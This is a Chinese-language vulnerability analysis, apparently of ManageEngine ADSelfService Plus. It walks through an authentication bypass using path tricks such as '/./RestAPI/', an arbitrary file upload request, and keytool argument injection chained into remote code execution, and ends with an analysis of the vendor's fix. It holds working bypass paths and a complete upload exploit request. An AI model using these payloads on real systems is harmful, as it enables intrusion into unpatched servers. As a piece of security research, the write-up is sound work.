环境搭建 安装 该漏洞影响版本在6113
版本以前,但是在官网上已经下载不到这个版本了,我在其他网站 下载了5.8的版本进行分析。
下载好后双击exe安装,但启动过程中会卡在一个地方不动,后来我是通过双击bin/run.bat
解决的,需要注意在选择版本的时候选择free
版本。启动后的界面如下:
调试 看启动过程这个系统也是基于tomcat,tomcat的调试是在catalina.bat
中加上调试信息,但是这个系统似乎没有catalina.bat
文件。在run.bat
中加上下面的内容。
漏洞分析 认证绕过 POC
/./RestAPI/LicenseMgr
原理分析 这里可以看到是请求RestAPI
接口时的绕过,查看web.xml
文件,访问RestAPI/
下的内容会被struts
处理。
1 2 3 4 5 6 7 8 9 10 <servlet > <servlet-name > action</servlet-name > <servlet-class > org.apache.struts.action.ActionServlet</servlet-class > ... <load-on-startup > 1</load-on-startup > </servlet > <servlet-mapping > <servlet-name > action</servlet-name > <url-pattern > /RestAPI/*</url-pattern > </servlet-mapping >
在webapps/adssp/WEB-INF/api-struts-config.xml:43
中找到LicenseMgr
的处理类。
1 2 3 <action path ="/LicenseMgr" type ="com.adventnet.sym.adsm.common.webclient.api.LicenseMgr" parameter ="operation" validate ="false" scope ="session" > <forward name ="result" path ="/adsf/jsp/common/RestAPIResponse.jsp" /> </action >
在LicenseMgr
中没有找到明显的操作方法,因此在父类的DispatchAction#execute
方法打断点,通过执行上面的payload
拿到调用栈。
如果没有加上/./
绕过,则不会执行到这个方法,所以推测是在Filter
中做了权限认证的处理。这个系统配置的Filter
并不多,因此我过了下发现问题主要在ADSFilter#doFilter
中,如果没有加/./
则会直接返回。
通过上面的代码分析,同时满足下面两个条件才会return
,所以我们只要绕过一个即可。
前面提到了这个系统是使用了tomcat
,所以其实绕过的方法就比较多样了。
1 2 3 4 /xxxx/../RestAPI/LicenseMgr /;asdassd/RestAPI/LicenseMgr /xxx;asdassd/../RestAPI/LicenseMgr /RestAPI;/LicenseMgr
文件上传 POC 执行成功后会在/bin
下创建test.txt
文件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 POST /./RestAPI/LogonCustomization HTTP/1.1 Host: 192.168.3.16:8888 Pragma: no-cache Cache-Control: no-cache Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: confluence.browse.space.cookie=space-templates; adscsrf=c7cd8c01-87c0-493d-841b-08dab9b51b30; JSESSIONIDADSSP=E332DAC8F8DCA73F0A99581A22D3ED36 Connection: close Content-Type: multipart/form-data; boundary=---------------------------39411536912265220004317003537 Content-Length: 749 -----------------------------39411536912265220004317003537 Content-Disposition: form-data; name="methodToCall" unspecified -----------------------------39411536912265220004317003537 Content-Disposition: form-data; name="Save" yes -----------------------------39411536912265220004317003537 Content-Disposition: form-data; name="form" smartcard -----------------------------39411536912265220004317003537 Content-Disposition: form-data; name="operation" Add -----------------------------39411536912265220004317003537 Content-Disposition: form-data; name="CERTIFICATE_PATH"; filename="adasdas/.././astest.txt" Content-Type: application/octet-stream arbitrary content -----------------------------39411536912265220004317003537--
原理分析 Struts-config.xml
存在如下配置:
1 2 3 <action path ="/LogonCustomization" type ="com.adventnet.sym.adsm.common.webclient.admin.LogonCustomization" name ="LogonCustomBean" validate ="false" parameter ="methodToCall" scope ="request" > <forward name ="LogonCustomization" path ="LogonCustomizationPage" /> </action >
通过配置+POC可知,调用的是unspecified
方法,由于form
传入的是smartcard
,因此会进入到else if
的内容中。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 public ActionForward unspecified (ActionMapping mapping, ActionForm form, HttpServletRequest request, HttpServletResponse response) throws Exception { ... if (request.getParameter("Save" ) != null ) { message = rb.getString("adssp.common.text.success_update" ); messageType = "success" ; if ("mob" .equalsIgnoreCase(request.getParameter("form" ))) { this .saveMobileSettings(logonList, request); request.setAttribute("form" , "mob" ); } else if ("smartcard" .equalsIgnoreCase(request.getParameter("form" ))) { operation = request.getParameter("operation" ); SmartCardAction sCAction = new SmartCardAction(); if (operation.equalsIgnoreCase("Add" )) { request.setAttribute("CERTIFICATE_FILE" , ClientUtil.getFileFromRequest(request, "CERTIFICATE_PATH" )); request.setAttribute("CERTIFICATE_NAME" , ClientUtil.getUploadedFileName(request, "CERTIFICATE_PATH" )); sCAction.addSmartCardConfig(mapping, dynForm, request, response); } else if (operation.equalsIgnoreCase("Update" )) { sCAction.updateSmartCardConfig(mapping, form, request, response); }
跟进到SmartCardAction#addSmartCardConfig
中,调用了getFileFromRequest
getFileFromRequest
从Form表单中解析得到文件名和内容进行上传。
在已经拿到POC的情况下,可以看到文件上传漏洞的原理比较简单,那么下面我提出两个问题。
这里在写入文件时明明只有文件名,为什么写入的文件会被上传到bin
目录下?
这个问题可以通过分析File#getAbsolutePath
的调用解决,getAbsolutePath-->resolve-->getUserPath()-->System.getProperty("user.dir")
,而在当前环境中System.getProperty("user.dir")
保存的是/bin/
的地址,因此上传会传到/bin目录下。
1 2 3 public String getAbsolutePath () { return fs.resolve(this ); }
我试图通过../等方式跨目录没有成功?为什么不能通过../实现跨目录上传?
FileName是通过getFileName
获取的
getFileName
调用getBaseFileName
getBaseFileName
中通过new File().getName()
获取文件名,所以我们传入的路径会被处理,这也是无法跨目录上传的原因。
命令执行 原理分析 命令执行发生在ConnectionAction#openSSLTool
中,这个函数中通过createCSR
创建CSR文件。
1 2 3 4 5 6 7 8 public ActionForward openSSLTool (ActionMapping actionMap, ActionForm actionForm, HttpServletRequest request, HttpServletResponse response) throws Exception { String action = request.getParameter("action" ); if (action != null && action.equals("generateCSR" )) { SSLUtil.createCSR(request); } return actionMap.findForward("SSLTool" ); }
createCSR
接收需要的参数放到sslParams
这个json对象中,并继续通过重载方法完成实际的操作。
重载的createCSR
方法中,接收参数拼接并调用runCommand
方法执行命令,主要是通过调用keytool.exe
生成证书文件。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 public static JSONObject createCSR (JSONObject sslSettings) throws Exception { String name = "\"" + sslSettings.getString("COMMON_NAME" ) + "\"" ; String pass = sslSettings.getString("PASSWORD" ); pass = ClientUtil.keyToolEscape(pass); String password = "\"" + pass + "\"" ; logger.log(Level.INFO, "Keystore will be created for " + name); File keyFile = new File("..\\jre\\bin\\SelfService.keystore" ); if (keyFile.exists()) { File bckFile = new File("..\\jre\\bin\\SelfService_" + System.currentTimeMillis() + ".keystore" ); keyFile.renameTo(bckFile); } StringBuilder keyCmd = new StringBuilder("..\\jre\\bin\\keytool.exe -J-Duser.language=en -genkey -alias tomcat -sigalg SHA256withRSA -keyalg RSA -keypass " ); keyCmd.append(password); keyCmd.append(" -storePass " ).append(password); String keyLength = sslSettings.getString("KEY_LENGTH" ); if (keyLength != null && !keyLength.equals("" )) { keyCmd.append(" -keysize " ).append(keyLength); } String validity = sslSettings.getString("VALIDITY" ); if (validity != null && !validity.equals("" )) { keyCmd.append(" -validity " ).append(validity); } String san_name = sslSettings.getString("SAN_NAME" ); keyCmd.append(" -dName \"CN=" ).append(ClientUtil.keyToolEscape(sslSettings.getString("COMMON_NAME" ))); keyCmd.append(", OU= " ).append(ClientUtil.keyToolEscape(sslSettings.getString("OU" ))); keyCmd.append(", O=" ).append(ClientUtil.keyToolEscape(sslSettings.getString("ORGANIZATION" ))); keyCmd.append(", L=" ).append(ClientUtil.keyToolEscape(sslSettings.getString("LOCALITY" ))); keyCmd.append(", S=" ).append(ClientUtil.keyToolEscape(sslSettings.getString("STATE" ))); keyCmd.append(", C=" ).append(ClientUtil.keyToolEscape(sslSettings.getString("COUNTRY_CODE" ))); keyCmd.append("\" -keystore ..\\jre\\bin\\SelfService.keystore" ); if (san_name != null && !san_name.equals("" )) { keyCmd.append(" -ext SAN=" ); String[] san_name_arr = san_name.split("," ); for (int i = 0 ; i < san_name_arr.length; ++i) { if (i != 0 ) { keyCmd.append("," ); } keyCmd.append("dns:" + ClientUtil.keyToolEscape(san_name_arr[i])); } } JSONObject jStatus = new JSONObject(); String status = runCommand(keyCmd.toString()); logger.log(Level.INFO, "The status of keystore creation is " + status); if (status != null && status.equals("success" )) { keyFile = new File("..\\webapps\\adssp\\Certificates" ); if (!keyFile.exists()) { keyFile.mkdir(); } keyCmd = (new StringBuilder("..\\jre\\bin\\keytool.exe -J-Duser.language=en -certreq -alias tomcat -sigalg SHA256withRSA -keyalg RSA -storepass " )).append(password).append(" -keystore ..\\jre\\bin\\SelfService.keystore -file ..\\webapps\\adssp\\Certificates\\SelfService.csr" ); if (san_name != null && !san_name.equals("" )) { keyCmd.append(" -ext SAN=" ); String[] san_name_arr = san_name.split("," ); for (int i = 0 ; i < san_name_arr.length; ++i) { if (i != 0 ) { keyCmd.append("," ); } keyCmd.append("dns:" + ClientUtil.keyToolEscape(san_name_arr[i])); } } status = runCommand(keyCmd.toString()); logger.log(Level.INFO, "The status of CSR Generation is " + status); }
大部分的参数拼接时都会经过keyToolEscape
的过滤,keyToolEscape
中会将",;
等敏感字符转义。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 public static String keyToolEscape (String str) { if (str == null ) { return null ; } else { String[] chars = new String[]{"\"" , "," , ";" }; String ret = str; String[] arr$ = chars; int len$ = chars.length; for (int i$ = 0 ; i$ < len$; ++i$) { String s = arr$[i$]; if (ret.contains(s)) { ret = ret.replaceAll(s, "\\\\" + s); } } return ret; } }
但是KEY_LENGTH
和VALIDITY
并没有进行转义,所以可以展开利用。
1 2 3 4 5 6 7 8 9 String keyLength = sslSettings.getString("KEY_LENGTH" ); if (keyLength != null && !keyLength.equals("" )) { keyCmd.append(" -keysize " ).append(keyLength); } String validity = sslSettings.getString("VALIDITY" ); if (validity != null && !validity.equals("" )) { keyCmd.append(" -validity " ).append(validity); }
漏洞利用 这个方法的原理在于keytools
提供了下面两个参数,这里提供的类会被加载,所以可以在静态代码块中编写需要执行的代码,编译好后配合上面的文件上传漏洞上传,再通过注入providerclass
和providerpath
加载类以执行代码。
1 2 -providerclass <providerclass> 提供方类名 -providerpath <pathlist> 提供方类路径
失败尝试:拼接命令 执行命令时可以通过&&
拼接其他要执行的命令,能否直接通过&&
完成命令执行呢?
不可以,本来我想尝试直接闭合后面的内容后再通过&&
拼接其他命令执行,但是经过查阅资料这样是不行的,只有当使用cmd /c
时才可以使用&&
拼接执行。当前后面的命令能执行成功的前提是前面的命令没有报错,如果前面的命令出错后面拼接的命令是无法执行成功的。
如果没有使用cmd /c
也无法执行后面的命令
修复分析 在6116
版本中修复结果如下。
认证绕过 在6116
中,直接使用/./RestAPI/LicenseMgr
会返回500无法测试能否绕过,经过排错,这个版本需要加上参数才能正常执行,否则不会经过过滤器。
使用/xxx/../RestAPI/LicenseMgr?operation=unspecified
绕过,发现在ADSFilter#doSubFilters
中存在如下代码。
查看isRestRequest
的内容,可以看到通过getNormalizedURI
对URL经过处理后才进行正则匹配。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 public static boolean isRestAPIRequest (HttpServletRequest request, JSONObject filterParams) { String restApiUrlPattern = "/RestAPI/.*" ; try { restApiUrlPattern = filterParams.optString("API_URL_PATTERN" , restApiUrlPattern); } catch (Exception var5) { out.log(Level.INFO, "Unable to get API_URL_PATTERN." , var5); } String reqURI = SecurityUtil.getNormalizedURI(request.getRequestURI()); String contextPath = request.getContextPath() != null ? request.getContextPath() : "" ; reqURI = reqURI.replace(contextPath, "" ); reqURI = reqURI.replace("//" , "/" ); return Pattern.matches(restApiUrlPattern, reqURI); }
getNormalizedURI
会对./
和../
进行处理,所以无法使用这种方式绕过了。
但是根据我们之前的分析,也可以通过/RestAPI;/LicenseMgr?operation=unspecified
绕过,但也是不行的,使用上述payload返回500错误。查看配置发现URL会被Security Filter
处理。
在SecurityFilter#doFilter
中会判断URL中是否包含;
或者%3b
,如果是则直接退出。
文件上传 SmartCardAPI#addSmartCardConfiguration
不再使用getFileFromRequest
完成上传操作,而使用getFileFromMultipartRequest
。
getFileFromMultipartRequest
虽然还是会进行文件上传操作,但是上传路径和名称都不可控。
命令执行 createCSR
已经不再使用拼接命令的方式创建证书,因此也不存在命令执行漏洞。
总结 这个漏洞的权限认证绕过和文件上传其实比较普通,作者发现的受限的命令执行配合文件上传导致RCE的过程算是这个洞的亮点吧。之前分析认证绕过的地方有些错误,感谢killer
师傅指正。
参考文章